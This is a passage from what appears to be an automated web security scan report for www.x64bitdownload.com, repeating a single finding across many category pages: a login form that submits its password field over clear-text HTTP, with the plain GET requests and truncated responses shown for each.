HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:33:52 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31386
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-newsgroups-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:50:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:01:20 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88631
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-newsreader-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:42 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:43 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32574
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-newsreader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:35:14 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:45:34 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55916
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-nntp-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:09 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22nntp%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22nntp%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31814
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-nntp-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:13 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22nntp%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22nntp%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87718
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-nzb-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:51:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:01:48 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22nzb%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22nzb%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60656
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-ozum-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:38 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22ozum%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22ozum%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 29364
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-par-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:18 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22par%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22par%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 64738
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-podcast-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:18 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22podcast%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22podcast%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91507
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-posts-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:00:21 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:10:54 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22posts%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22posts%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89038
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-rar-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:49 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:51 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22rar%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22rar%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91323
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-reader-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:04 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:26 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22reader%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 45335
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-reader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:56 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 98206
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-reading-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:53:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:04:40 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22reading%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22reading%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90299
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-rss-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:33:37 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:46 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22rss%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22rss%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 30665
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-rss-client-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:11 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22rss-client%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22rss+client%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92234
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-rss-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:41 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:45 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22rss%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22rss%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88508
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-rss-feed-reader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:59:53 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A15%3A%22rss-feed-reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A15%3A%22rss+feed+reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93717
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-rss-reader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:16 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22rss-reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22rss+reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 99929
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-search-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:17 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:48:22 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22search%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22search%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91980
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-ssl-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:51:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:06 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22ssl%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22ssl%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87821
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-synchronization-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
